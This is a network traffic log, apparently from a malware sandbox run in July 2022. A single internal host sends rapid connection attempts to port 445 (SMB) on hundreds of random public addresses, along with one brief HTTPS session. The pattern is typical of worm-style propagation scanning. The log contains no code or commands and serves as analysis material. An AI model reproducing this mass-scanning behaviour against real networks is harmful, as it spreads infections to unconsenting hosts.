Jul 20, 2022 09:11:14.417089939 CEST	60779	445	192.168.2.6	187.183.147.58
Jul 20, 2022 09:11:14.473475933 CEST	445	60763	155.101.152.3	192.168.2.6
Jul 20, 2022 09:11:14.473666906 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:14.526595116 CEST	60785	445	192.168.2.6	151.138.188.242
Jul 20, 2022 09:11:14.526806116 CEST	60790	445	192.168.2.6	206.18.42.193
Jul 20, 2022 09:11:14.531481028 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:14.680015087 CEST	445	60799	155.101.152.3	192.168.2.6
Jul 20, 2022 09:11:14.680104971 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:14.861216068 CEST	60708	445	192.168.2.6	187.194.149.232
Jul 20, 2022 09:11:14.970664024 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:15.073201895 CEST	445	60708	187.194.149.232	192.168.2.6
Jul 20, 2022 09:11:15.298780918 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:15.408166885 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:15.673315048 CEST	60802	445	192.168.2.6	18.119.139.32
Jul 20, 2022 09:11:15.680300951 CEST	60803	445	192.168.2.6	185.147.213.35
Jul 20, 2022 09:11:15.798839092 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:16.143748045 CEST	60806	445	192.168.2.6	166.154.87.43
Jul 20, 2022 09:11:16.143806934 CEST	60807	445	192.168.2.6	211.174.128.223
Jul 20, 2022 09:11:16.143878937 CEST	60808	445	192.168.2.6	9.162.176.241
Jul 20, 2022 09:11:16.143965960 CEST	60809	445	192.168.2.6	64.99.202.118
Jul 20, 2022 09:11:16.144095898 CEST	60812	445	192.168.2.6	204.203.224.65
Jul 20, 2022 09:11:16.144172907 CEST	60813	445	192.168.2.6	176.41.126.233
Jul 20, 2022 09:11:16.144433022 CEST	60819	445	192.168.2.6	189.219.62.49
Jul 20, 2022 09:11:16.144504070 CEST	60820	445	192.168.2.6	182.8.44.174
Jul 20, 2022 09:11:16.144759893 CEST	60826	445	192.168.2.6	61.201.86.164
Jul 20, 2022 09:11:16.144972086 CEST	60831	445	192.168.2.6	134.193.230.59
Jul 20, 2022 09:11:16.145047903 CEST	60832	445	192.168.2.6	165.3.152.104
Jul 20, 2022 09:11:16.145149946 CEST	60834	445	192.168.2.6	31.17.220.200
Jul 20, 2022 09:11:16.145256042 CEST	60836	445	192.168.2.6	151.148.7.218
Jul 20, 2022 09:11:16.145323038 CEST	60837	445	192.168.2.6	138.171.118.189
Jul 20, 2022 09:11:16.145683050 CEST	60845	445	192.168.2.6	109.3.179.63
Jul 20, 2022 09:11:16.145745993 CEST	60846	445	192.168.2.6	162.156.52.71
Jul 20, 2022 09:11:16.145862103 CEST	60848	445	192.168.2.6	74.31.68.120
Jul 20, 2022 09:11:16.145908117 CEST	60849	445	192.168.2.6	92.143.137.27
Jul 20, 2022 09:11:16.146043062 CEST	60851	445	192.168.2.6	88.233.5.234
Jul 20, 2022 09:11:16.146429062 CEST	60861	445	192.168.2.6	22.217.206.77
Jul 20, 2022 09:11:16.146642923 CEST	60866	445	192.168.2.6	215.118.159.50
Jul 20, 2022 09:11:16.146851063 CEST	60871	445	192.168.2.6	217.45.148.112
Jul 20, 2022 09:11:16.147720098 CEST	60878	445	192.168.2.6	132.198.122.30
Jul 20, 2022 09:11:16.147790909 CEST	60879	445	192.168.2.6	219.251.2.191
Jul 20, 2022 09:11:16.148036003 CEST	60885	445	192.168.2.6	54.202.182.221
Jul 20, 2022 09:11:16.148286104 CEST	60891	445	192.168.2.6	208.167.253.70
Jul 20, 2022 09:11:16.148421049 CEST	60894	445	192.168.2.6	172.180.29.65
Jul 20, 2022 09:11:16.148885965 CEST	60905	445	192.168.2.6	37.119.43.46
Jul 20, 2022 09:11:16.288615942 CEST	445	60878	132.198.122.30	192.168.2.6
Jul 20, 2022 09:11:16.314519882 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:16.798942089 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:16.908333063 CEST	60878	445	192.168.2.6	132.198.122.30
Jul 20, 2022 09:11:17.050378084 CEST	445	60878	132.198.122.30	192.168.2.6
Jul 20, 2022 09:11:17.173819065 CEST	60912	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:17.250433922 CEST	60914	445	192.168.2.6	185.147.213.36
Jul 20, 2022 09:11:17.251144886 CEST	60915	445	192.168.2.6	18.119.139.33
Jul 20, 2022 09:11:17.285423994 CEST	60916	445	192.168.2.6	60.51.148.189
Jul 20, 2022 09:11:17.520899057 CEST	60921	445	192.168.2.6	209.236.14.112
Jul 20, 2022 09:11:17.521238089 CEST	60931	445	192.168.2.6	8.152.162.70
Jul 20, 2022 09:11:17.521351099 CEST	60933	445	192.168.2.6	185.116.181.24
Jul 20, 2022 09:11:17.521409035 CEST	60934	445	192.168.2.6	179.141.53.95
Jul 20, 2022 09:11:17.521486044 CEST	60936	445	192.168.2.6	65.249.70.23
Jul 20, 2022 09:11:17.521534920 CEST	60937	445	192.168.2.6	189.59.207.251
Jul 20, 2022 09:11:17.521800995 CEST	60945	445	192.168.2.6	171.161.171.128
Jul 20, 2022 09:11:17.521907091 CEST	60946	445	192.168.2.6	174.111.197.218
Jul 20, 2022 09:11:17.521998882 CEST	60948	445	192.168.2.6	178.210.117.204
Jul 20, 2022 09:11:17.522098064 CEST	60950	445	192.168.2.6	51.173.204.49
Jul 20, 2022 09:11:17.522172928 CEST	60951	445	192.168.2.6	88.3.204.200
Jul 20, 2022 09:11:17.522363901 CEST	60956	445	192.168.2.6	218.64.128.76
Jul 20, 2022 09:11:17.522599936 CEST	60963	445	192.168.2.6	71.69.50.118
Jul 20, 2022 09:11:17.522665977 CEST	60962	445	192.168.2.6	77.133.222.159
Jul 20, 2022 09:11:17.522886038 CEST	60969	445	192.168.2.6	51.220.22.207
Jul 20, 2022 09:11:17.522948980 CEST	60970	445	192.168.2.6	211.41.42.195
Jul 20, 2022 09:11:17.523089886 CEST	60973	445	192.168.2.6	111.28.159.109
Jul 20, 2022 09:11:17.523144007 CEST	60974	445	192.168.2.6	172.203.43.3
Jul 20, 2022 09:11:17.523216009 CEST	60975	445	192.168.2.6	41.113.236.239
Jul 20, 2022 09:11:17.523273945 CEST	60976	445	192.168.2.6	177.83.28.22
Jul 20, 2022 09:11:17.523662090 CEST	60988	445	192.168.2.6	83.173.198.238
Jul 20, 2022 09:11:17.524040937 CEST	60999	445	192.168.2.6	83.30.49.182
Jul 20, 2022 09:11:17.524318933 CEST	61008	445	192.168.2.6	196.177.215.164
Jul 20, 2022 09:11:17.524528980 CEST	61014	445	192.168.2.6	83.54.248.45
Jul 20, 2022 09:11:17.524781942 CEST	61022	445	192.168.2.6	156.124.227.81
Jul 20, 2022 09:11:17.524863005 CEST	61002	445	192.168.2.6	54.42.153.6
Jul 20, 2022 09:11:18.111517906 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:18.314981937 CEST	61025	445	192.168.2.6	185.147.213.37
Jul 20, 2022 09:11:18.315129042 CEST	61026	445	192.168.2.6	18.119.139.34
Jul 20, 2022 09:11:18.408879995 CEST	61027	445	192.168.2.6	77.191.183.186
Jul 20, 2022 09:11:18.715854883 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:18.737271070 CEST	61031	445	192.168.2.6	203.113.80.163
Jul 20, 2022 09:11:18.737359047 CEST	61032	445	192.168.2.6	63.45.182.235
Jul 20, 2022 09:11:18.737493992 CEST	61033	445	192.168.2.6	190.234.221.64
Jul 20, 2022 09:11:18.737593889 CEST	61034	445	192.168.2.6	44.83.108.92
Jul 20, 2022 09:11:18.738332033 CEST	61046	445	192.168.2.6	90.211.38.190
Jul 20, 2022 09:11:18.739203930 CEST	61059	445	192.168.2.6	35.67.37.147
Jul 20, 2022 09:11:18.739659071 CEST	61066	445	192.168.2.6	135.102.112.132
Jul 20, 2022 09:11:18.740051031 CEST	61072	445	192.168.2.6	171.203.66.101
Jul 20, 2022 09:11:18.740216970 CEST	61073	445	192.168.2.6	95.206.169.145
Jul 20, 2022 09:11:18.740654945 CEST	61081	445	192.168.2.6	93.253.114.14
Jul 20, 2022 09:11:18.740804911 CEST	61082	445	192.168.2.6	208.210.177.250
Jul 20, 2022 09:11:18.741465092 CEST	61091	445	192.168.2.6	6.216.95.239
Jul 20, 2022 09:11:18.741643906 CEST	61092	445	192.168.2.6	189.149.212.122
Jul 20, 2022 09:11:18.741780996 CEST	61094	445	192.168.2.6	56.46.178.234
Jul 20, 2022 09:11:18.741908073 CEST	61095	445	192.168.2.6	161.86.17.40
Jul 20, 2022 09:11:18.742136002 CEST	61098	445	192.168.2.6	180.223.201.17
Jul 20, 2022 09:11:18.742341042 CEST	61101	445	192.168.2.6	189.32.15.138
Jul 20, 2022 09:11:18.742530107 CEST	61104	445	192.168.2.6	3.103.14.117
Jul 20, 2022 09:11:18.742664099 CEST	61106	445	192.168.2.6	185.53.169.92
Jul 20, 2022 09:11:18.742887974 CEST	61108	445	192.168.2.6	197.183.218.170
Jul 20, 2022 09:11:18.742980003 CEST	61109	445	192.168.2.6	201.20.0.196
Jul 20, 2022 09:11:18.743488073 CEST	61117	445	192.168.2.6	14.18.46.205
Jul 20, 2022 09:11:18.743977070 CEST	61125	445	192.168.2.6	79.143.194.60
Jul 20, 2022 09:11:18.744112015 CEST	61127	445	192.168.2.6	33.127.229.245
Jul 20, 2022 09:11:18.744394064 CEST	61131	445	192.168.2.6	197.119.153.200
Jul 20, 2022 09:11:18.744525909 CEST	61132	445	192.168.2.6	178.176.106.34
Jul 20, 2022 09:11:18.744616032 CEST	61133	445	192.168.2.6	169.105.1.250
Jul 20, 2022 09:11:18.766524076 CEST	445	61106	185.53.169.92	192.168.2.6
Jul 20, 2022 09:11:18.796927929 CEST	445	61125	79.143.194.60	192.168.2.6
Jul 20, 2022 09:11:18.847214937 CEST	445	61098	180.223.201.17	192.168.2.6
Jul 20, 2022 09:11:18.932305098 CEST	445	61132	178.176.106.34	192.168.2.6
Jul 20, 2022 09:11:19.283566952 CEST	61106	445	192.168.2.6	185.53.169.92
Jul 20, 2022 09:11:19.306618929 CEST	445	61106	185.53.169.92	192.168.2.6
Jul 20, 2022 09:11:19.377688885 CEST	61136	445	192.168.2.6	185.147.213.38
Jul 20, 2022 09:11:19.377965927 CEST	61137	445	192.168.2.6	18.119.139.35
Jul 20, 2022 09:11:19.408551931 CEST	61125	445	192.168.2.6	79.143.194.60
Jul 20, 2022 09:11:19.408586979 CEST	61098	445	192.168.2.6	180.223.201.17
Jul 20, 2022 09:11:19.474376917 CEST	445	61125	79.143.194.60	192.168.2.6
Jul 20, 2022 09:11:19.511558056 CEST	445	61098	180.223.201.17	192.168.2.6
Jul 20, 2022 09:11:19.517931938 CEST	61132	445	192.168.2.6	178.176.106.34
Jul 20, 2022 09:11:19.519551039 CEST	61140	445	192.168.2.6	43.116.222.88
Jul 20, 2022 09:11:19.653633118 CEST	445	61132	178.176.106.34	192.168.2.6
Jul 20, 2022 09:11:19.846493006 CEST	61144	445	192.168.2.6	4.199.195.11
Jul 20, 2022 09:11:19.846810102 CEST	61148	445	192.168.2.6	89.193.48.198
Jul 20, 2022 09:11:19.847192049 CEST	61154	445	192.168.2.6	64.114.194.209
Jul 20, 2022 09:11:19.847322941 CEST	61156	445	192.168.2.6	20.136.182.188
Jul 20, 2022 09:11:19.847771883 CEST	61164	445	192.168.2.6	46.180.194.87
Jul 20, 2022 09:11:19.847871065 CEST	61165	445	192.168.2.6	207.229.48.43
Jul 20, 2022 09:11:19.847989082 CEST	61167	445	192.168.2.6	214.117.83.143
Jul 20, 2022 09:11:19.848037958 CEST	61168	445	192.168.2.6	210.122.135.163
Jul 20, 2022 09:11:19.848189116 CEST	61170	445	192.168.2.6	162.182.155.134
Jul 20, 2022 09:11:19.848411083 CEST	61173	445	192.168.2.6	187.195.222.154
Jul 20, 2022 09:11:19.848680973 CEST	61177	445	192.168.2.6	84.182.1.55
Jul 20, 2022 09:11:19.848846912 CEST	61179	445	192.168.2.6	121.45.230.188
Jul 20, 2022 09:11:19.848892927 CEST	61180	445	192.168.2.6	161.160.231.232
Jul 20, 2022 09:11:19.849119902 CEST	61183	445	192.168.2.6	110.81.164.111
Jul 20, 2022 09:11:19.849317074 CEST	61186	445	192.168.2.6	126.149.148.236
Jul 20, 2022 09:11:19.850047112 CEST	61197	445	192.168.2.6	206.93.118.103
Jul 20, 2022 09:11:19.850115061 CEST	61198	445	192.168.2.6	198.1.129.2
Jul 20, 2022 09:11:19.850423098 CEST	61200	445	192.168.2.6	168.70.49.203
Jul 20, 2022 09:11:19.850722075 CEST	61203	445	192.168.2.6	55.160.88.221
Jul 20, 2022 09:11:19.850862980 CEST	61204	445	192.168.2.6	173.173.11.75
Jul 20, 2022 09:11:19.851310968 CEST	61212	445	192.168.2.6	10.196.24.8
Jul 20, 2022 09:11:19.851857901 CEST	61223	445	192.168.2.6	5.11.173.135
Jul 20, 2022 09:11:19.852200031 CEST	61229	445	192.168.2.6	107.161.144.160
Jul 20, 2022 09:11:19.852685928 CEST	61236	445	192.168.2.6	134.178.45.250
Jul 20, 2022 09:11:19.852828026 CEST	61238	445	192.168.2.6	138.119.75.56
Jul 20, 2022 09:11:19.852874994 CEST	61239	445	192.168.2.6	67.75.99.162
Jul 20, 2022 09:11:19.852930069 CEST	61240	445	192.168.2.6	179.28.47.120
Jul 20, 2022 09:11:19.955780029 CEST	445	61223	5.11.173.135	192.168.2.6
Jul 20, 2022 09:11:20.174340010 CEST	60912	445	192.168.2.6	201.187.246.6
Jul 20, 2022 09:11:20.453996897 CEST	445	61240	179.28.47.120	192.168.2.6
Jul 20, 2022 09:11:20.455885887 CEST	61248	445	192.168.2.6	185.147.213.39
Jul 20, 2022 09:11:20.456052065 CEST	61249	445	192.168.2.6	18.119.139.36
Jul 20, 2022 09:11:20.471086979 CEST	61223	445	192.168.2.6	5.11.173.135
Jul 20, 2022 09:11:20.631567955 CEST	445	61223	5.11.173.135	192.168.2.6
Jul 20, 2022 09:11:20.643959999 CEST	61251	445	192.168.2.6	133.168.244.134
Jul 20, 2022 09:11:20.973043919 CEST	61262	445	192.168.2.6	103.221.9.155
Jul 20, 2022 09:11:20.973376036 CEST	61269	445	192.168.2.6	188.119.134.23
Jul 20, 2022 09:11:20.973536968 CEST	61271	445	192.168.2.6	148.82.105.26
Jul 20, 2022 09:11:20.973974943 CEST	61277	445	192.168.2.6	83.238.154.163
Jul 20, 2022 09:11:20.974586964 CEST	61287	445	192.168.2.6	163.104.169.127
Jul 20, 2022 09:11:20.974934101 CEST	61293	445	192.168.2.6	39.61.40.132
Jul 20, 2022 09:11:20.975519896 CEST	61303	445	192.168.2.6	64.29.15.62
Jul 20, 2022 09:11:20.975887060 CEST	61309	445	192.168.2.6	97.80.222.134
Jul 20, 2022 09:11:20.976058006 CEST	61311	445	192.168.2.6	105.5.192.239
Jul 20, 2022 09:11:20.976097107 CEST	61312	445	192.168.2.6	148.125.194.66
Jul 20, 2022 09:11:20.976197004 CEST	61313	445	192.168.2.6	169.192.109.111
Jul 20, 2022 09:11:20.976488113 CEST	61315	445	192.168.2.6	168.139.174.222
Jul 20, 2022 09:11:20.976572037 CEST	61316	445	192.168.2.6	121.45.164.191
Jul 20, 2022 09:11:20.976907969 CEST	61320	445	192.168.2.6	110.111.104.100
Jul 20, 2022 09:11:20.977178097 CEST	61324	445	192.168.2.6	21.81.158.193
Jul 20, 2022 09:11:20.977276087 CEST	61325	445	192.168.2.6	178.65.236.35
Jul 20, 2022 09:11:20.977340937 CEST	61326	445	192.168.2.6	36.142.246.98
Jul 20, 2022 09:11:20.978307962 CEST	61338	445	192.168.2.6	201.150.185.137
Jul 20, 2022 09:11:20.978493929 CEST	61340	445	192.168.2.6	107.224.239.45
Jul 20, 2022 09:11:20.978658915 CEST	61343	445	192.168.2.6	8.224.135.218
Jul 20, 2022 09:11:20.978801012 CEST	61344	445	192.168.2.6	221.149.245.148
Jul 20, 2022 09:11:20.979010105 CEST	61347	445	192.168.2.6	71.28.1.128
Jul 20, 2022 09:11:20.979299068 CEST	61352	445	192.168.2.6	32.189.135.218
Jul 20, 2022 09:11:20.979434013 CEST	61353	445	192.168.2.6	174.65.78.98
Jul 20, 2022 09:11:20.979537010 CEST	61355	445	192.168.2.6	101.45.40.7
Jul 20, 2022 09:11:20.979687929 CEST	61357	445	192.168.2.6	11.192.20.108
Jul 20, 2022 09:11:20.979813099 CEST	61358	445	192.168.2.6	145.207.75.216
Jul 20, 2022 09:11:21.013427019 CEST	445	61277	83.238.154.163	192.168.2.6
Jul 20, 2022 09:11:21.193511963 CEST	445	61262	103.221.9.155	192.168.2.6
Jul 20, 2022 09:11:21.518105030 CEST	61277	445	192.168.2.6	83.238.154.163
Jul 20, 2022 09:11:21.519701958 CEST	61361	445	192.168.2.6	185.147.213.40
Jul 20, 2022 09:11:21.520221949 CEST	61362	445	192.168.2.6	18.119.139.37
Jul 20, 2022 09:11:21.559062958 CEST	445	61277	83.238.154.163	192.168.2.6
Jul 20, 2022 09:11:21.689922094 CEST	60763	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:21.705588102 CEST	61262	445	192.168.2.6	103.221.9.155
Jul 20, 2022 09:11:21.768974066 CEST	61364	445	192.168.2.6	181.147.192.24
Jul 20, 2022 09:11:21.926042080 CEST	445	61262	103.221.9.155	192.168.2.6
Jul 20, 2022 09:11:22.097347975 CEST	61372	445	192.168.2.6	168.40.62.99
Jul 20, 2022 09:11:22.097723007 CEST	61377	445	192.168.2.6	56.56.25.106
Jul 20, 2022 09:11:22.097872972 CEST	61379	445	192.168.2.6	120.57.72.235
Jul 20, 2022 09:11:22.098623037 CEST	61391	445	192.168.2.6	49.7.111.145
Jul 20, 2022 09:11:22.098834038 CEST	61394	445	192.168.2.6	59.11.87.104
Jul 20, 2022 09:11:22.098859072 CEST	61395	445	192.168.2.6	169.85.82.121
Jul 20, 2022 09:11:22.099028111 CEST	61396	445	192.168.2.6	116.178.154.181
Jul 20, 2022 09:11:22.099666119 CEST	61406	445	192.168.2.6	100.131.179.61
Jul 20, 2022 09:11:22.099935055 CEST	61410	445	192.168.2.6	17.204.252.158
Jul 20, 2022 09:11:22.100111961 CEST	61413	445	192.168.2.6	60.185.224.20
Jul 20, 2022 09:11:22.100178003 CEST	61414	445	192.168.2.6	194.184.32.187
Jul 20, 2022 09:11:22.100286007 CEST	61415	445	192.168.2.6	104.248.253.7
Jul 20, 2022 09:11:22.100687027 CEST	61421	445	192.168.2.6	42.218.21.111
Jul 20, 2022 09:11:22.100831985 CEST	61423	445	192.168.2.6	69.29.53.74
Jul 20, 2022 09:11:22.100884914 CEST	61424	445	192.168.2.6	52.198.48.192
Jul 20, 2022 09:11:22.101079941 CEST	61426	445	192.168.2.6	200.93.79.62
Jul 20, 2022 09:11:22.101129055 CEST	61427	445	192.168.2.6	171.235.212.128
Jul 20, 2022 09:11:22.101362944 CEST	61428	445	192.168.2.6	95.252.17.93
Jul 20, 2022 09:11:22.101516962 CEST	61430	445	192.168.2.6	41.152.125.150
Jul 20, 2022 09:11:22.101557970 CEST	61431	445	192.168.2.6	90.94.55.129
Jul 20, 2022 09:11:22.101759911 CEST	61433	445	192.168.2.6	132.191.68.124
Jul 20, 2022 09:11:22.101929903 CEST	61435	445	192.168.2.6	175.168.187.227
Jul 20, 2022 09:11:22.102076054 CEST	61438	445	192.168.2.6	167.123.60.139
Jul 20, 2022 09:11:22.102324009 CEST	61441	445	192.168.2.6	100.92.204.8
Jul 20, 2022 09:11:22.102942944 CEST	61452	445	192.168.2.6	216.122.215.41
Jul 20, 2022 09:11:22.103328943 CEST	61457	445	192.168.2.6	218.44.211.222
Jul 20, 2022 09:11:22.103996992 CEST	61468	445	192.168.2.6	45.5.3.162
Jul 20, 2022 09:11:22.146235943 CEST	445	61428	95.252.17.93	192.168.2.6
Jul 20, 2022 09:11:22.347769976 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.347804070 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.347898006 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.348875046 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.348897934 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.453723907 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.453833103 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.457956076 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.457988024 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.458383083 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.459498882 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.459567070 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.459580898 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.459773064 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.491060019 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.491147995 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.491261959 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.493247032 CEST	61473	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:11:22.493277073 CEST	443	61473	20.199.120.85	192.168.2.6
Jul 20, 2022 09:11:22.518158913 CEST	60799	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:22.580996037 CEST	61475	445	192.168.2.6	18.119.139.38
Jul 20, 2022 09:11:22.582484961 CEST	61476	445	192.168.2.6	185.147.213.41
Jul 20, 2022 09:11:22.658849001 CEST	61428	445	192.168.2.6	95.252.17.93
Jul 20, 2022 09:11:22.703481913 CEST	445	61428	95.252.17.93	192.168.2.6
Jul 20, 2022 09:11:22.893778086 CEST	61479	445	192.168.2.6	209.196.47.83
Jul 20, 2022 09:11:23.207184076 CEST	61485	445	192.168.2.6	116.220.12.46
Jul 20, 2022 09:11:23.209028959 CEST	61500	445	192.168.2.6	50.228.4.253
Jul 20, 2022 09:11:23.209347963 CEST	61506	445	192.168.2.6	221.193.76.197
Jul 20, 2022 09:11:23.209855080 CEST	61515	445	192.168.2.6	28.106.112.33
Jul 20, 2022 09:11:23.210294008 CEST	61522	445	192.168.2.6	223.231.171.64
Jul 20, 2022 09:11:23.210361958 CEST	61523	445	192.168.2.6	51.56.230.115
Jul 20, 2022 09:11:23.210607052 CEST	61527	445	192.168.2.6	72.240.185.127
Jul 20, 2022 09:11:23.210669041 CEST	61528	445	192.168.2.6	194.59.204.168
Jul 20, 2022 09:11:23.210757971 CEST	61529	445	192.168.2.6	24.95.248.8
Jul 20, 2022 09:11:23.211342096 CEST	61539	445	192.168.2.6	47.145.7.195
Jul 20, 2022 09:11:23.211508989 CEST	61542	445	192.168.2.6	55.45.40.53
Jul 20, 2022 09:11:23.211586952 CEST	61543	445	192.168.2.6	185.90.132.217
Jul 20, 2022 09:11:23.211833954 CEST	61547	445	192.168.2.6	192.251.238.153
Jul 20, 2022 09:11:23.212290049 CEST	61555	445	192.168.2.6	4.19.197.231
Jul 20, 2022 09:11:23.212671995 CEST	61560	445	192.168.2.6	59.140.131.1
Jul 20, 2022 09:11:23.213335991 CEST	61563	445	192.168.2.6	176.184.125.180
Jul 20, 2022 09:11:23.213686943 CEST	61565	445	192.168.2.6	147.23.65.124
Jul 20, 2022 09:11:23.213689089 CEST	61564	445	192.168.2.6	85.45.194.199
Jul 20, 2022 09:11:23.213834047 CEST	61567	445	192.168.2.6	104.100.79.66
Jul 20, 2022 09:11:23.213865995 CEST	61568	445	192.168.2.6	207.152.248.151
Jul 20, 2022 09:11:23.214009047 CEST	61570	445	192.168.2.6	4.177.173.22
Jul 20, 2022 09:11:23.214011908 CEST	61569	445	192.168.2.6	91.232.41.24
Jul 20, 2022 09:11:23.214178085 CEST	61572	445	192.168.2.6	105.7.127.39
Jul 20, 2022 09:11:23.214345932 CEST	61574	445	192.168.2.6	162.78.143.76
Jul 20, 2022 09:11:23.214545965 CEST	61577	445	192.168.2.6	31.182.173.160
Jul 20, 2022 09:11:23.214618921 CEST	61578	445	192.168.2.6	138.108.115.238
Jul 20, 2022 09:11:23.214868069 CEST	61582	445	192.168.2.6	25.113.32.200
Jul 20, 2022 09:11:23.262836933 CEST	445	61543	185.90.132.217	192.168.2.6
Jul 20, 2022 09:11:23.344937086 CEST	445	61547	192.251.238.153	192.168.2.6
Jul 20, 2022 09:11:23.368654013 CEST	445	61529	24.95.248.8	192.168.2.6
Jul 20, 2022 09:11:23.660527945 CEST	61590	445	192.168.2.6	185.147.213.42
Jul 20, 2022 09:11:23.661422014 CEST	61589	445	192.168.2.6	18.119.139.39
Jul 20, 2022 09:11:23.768277884 CEST	61543	445	192.168.2.6	185.90.132.217
Jul 20, 2022 09:11:23.817790985 CEST	445	61543	185.90.132.217	192.168.2.6
Jul 20, 2022 09:11:23.846411943 CEST	61547	445	192.168.2.6	192.251.238.153
Jul 20, 2022 09:11:23.877602100 CEST	61529	445	192.168.2.6	24.95.248.8
Jul 20, 2022 09:11:23.989058971 CEST	445	61547	192.251.238.153	192.168.2.6
Jul 20, 2022 09:11:24.019033909 CEST	61594	445	192.168.2.6	85.45.154.196
Jul 20, 2022 09:11:24.033452034 CEST	445	61529	24.95.248.8	192.168.2.6
Jul 20, 2022 09:11:24.332276106 CEST	61607	445	192.168.2.6	161.86.129.68
Jul 20, 2022 09:11:24.332598925 CEST	61612	445	192.168.2.6	187.115.234.192
Jul 20, 2022 09:11:24.333697081 CEST	61628	445	192.168.2.6	65.28.97.55
Jul 20, 2022 09:11:24.334070921 CEST	61634	445	192.168.2.6	35.236.82.117
Jul 20, 2022 09:11:24.334568977 CEST	61643	445	192.168.2.6	47.25.61.199
Jul 20, 2022 09:11:24.334779024 CEST	61645	445	192.168.2.6	219.93.177.178
Jul 20, 2022 09:11:24.334827900 CEST	61646	445	192.168.2.6	20.12.131.17
Jul 20, 2022 09:11:24.334960938 CEST	61647	445	192.168.2.6	103.71.179.66
Jul 20, 2022 09:11:24.335097075 CEST	61650	445	192.168.2.6	33.247.27.45
Jul 20, 2022 09:11:24.335385084 CEST	61654	445	192.168.2.6	144.156.194.169
Jul 20, 2022 09:11:24.335505009 CEST	61656	445	192.168.2.6	95.245.162.202
Jul 20, 2022 09:11:24.335654974 CEST	61658	445	192.168.2.6	44.141.167.22
Jul 20, 2022 09:11:24.335726023 CEST	61659	445	192.168.2.6	62.93.130.62
Jul 20, 2022 09:11:24.336056948 CEST	61664	445	192.168.2.6	98.126.167.160
Jul 20, 2022 09:11:24.336505890 CEST	61672	445	192.168.2.6	185.237.132.80
Jul 20, 2022 09:11:24.336689949 CEST	61675	445	192.168.2.6	22.246.47.0
Jul 20, 2022 09:11:24.336958885 CEST	61678	445	192.168.2.6	123.166.96.248
Jul 20, 2022 09:11:24.337080002 CEST	61679	445	192.168.2.6	23.113.89.75
Jul 20, 2022 09:11:24.337284088 CEST	61682	445	192.168.2.6	146.187.224.124
Jul 20, 2022 09:11:24.337287903 CEST	61680	445	192.168.2.6	93.156.164.74
Jul 20, 2022 09:11:24.337412119 CEST	61683	445	192.168.2.6	103.123.211.160
Jul 20, 2022 09:11:24.337666988 CEST	61687	445	192.168.2.6	181.20.84.20
Jul 20, 2022 09:11:24.337701082 CEST	61688	445	192.168.2.6	113.51.115.34
Jul 20, 2022 09:11:24.337848902 CEST	61689	445	192.168.2.6	173.251.54.41
Jul 20, 2022 09:11:24.337857962 CEST	61690	445	192.168.2.6	10.37.105.84
Jul 20, 2022 09:11:24.338119030 CEST	61693	445	192.168.2.6	12.155.254.23
Jul 20, 2022 09:11:24.722067118 CEST	61702	445	192.168.2.6	18.119.139.40
Jul 20, 2022 09:11:24.722446918 CEST	61703	445	192.168.2.6	185.147.213.43
Jul 20, 2022 09:11:25.144316912 CEST	61708	445	192.168.2.6	1.68.129.40
Jul 20, 2022 09:11:25.456389904 CEST	61711	445	192.168.2.6	113.178.97.220
Jul 20, 2022 09:11:25.456578970 CEST	61714	445	192.168.2.6	125.71.162.161
Jul 20, 2022 09:11:25.456820965 CEST	61717	445	192.168.2.6	31.22.240.135
Jul 20, 2022 09:11:25.456959963 CEST	61720	445	192.168.2.6	57.227.64.10
Jul 20, 2022 09:11:25.457185984 CEST	61724	445	192.168.2.6	216.253.104.110
Jul 20, 2022 09:11:25.457221985 CEST	61723	445	192.168.2.6	2.80.185.121
Jul 20, 2022 09:11:25.457308054 CEST	61725	445	192.168.2.6	160.85.137.172
Jul 20, 2022 09:11:25.457493067 CEST	61728	445	192.168.2.6	125.41.107.28
Jul 20, 2022 09:11:25.457555056 CEST	61729	445	192.168.2.6	3.158.169.18
Jul 20, 2022 09:11:25.457653046 CEST	61730	445	192.168.2.6	153.207.135.189
Jul 20, 2022 09:11:25.457691908 CEST	61731	445	192.168.2.6	23.103.62.177
Jul 20, 2022 09:11:25.457843065 CEST	61733	445	192.168.2.6	101.7.111.198
Jul 20, 2022 09:11:25.458192110 CEST	61740	445	192.168.2.6	185.210.57.178
Jul 20, 2022 09:11:25.458223104 CEST	61741	445	192.168.2.6	208.27.188.74
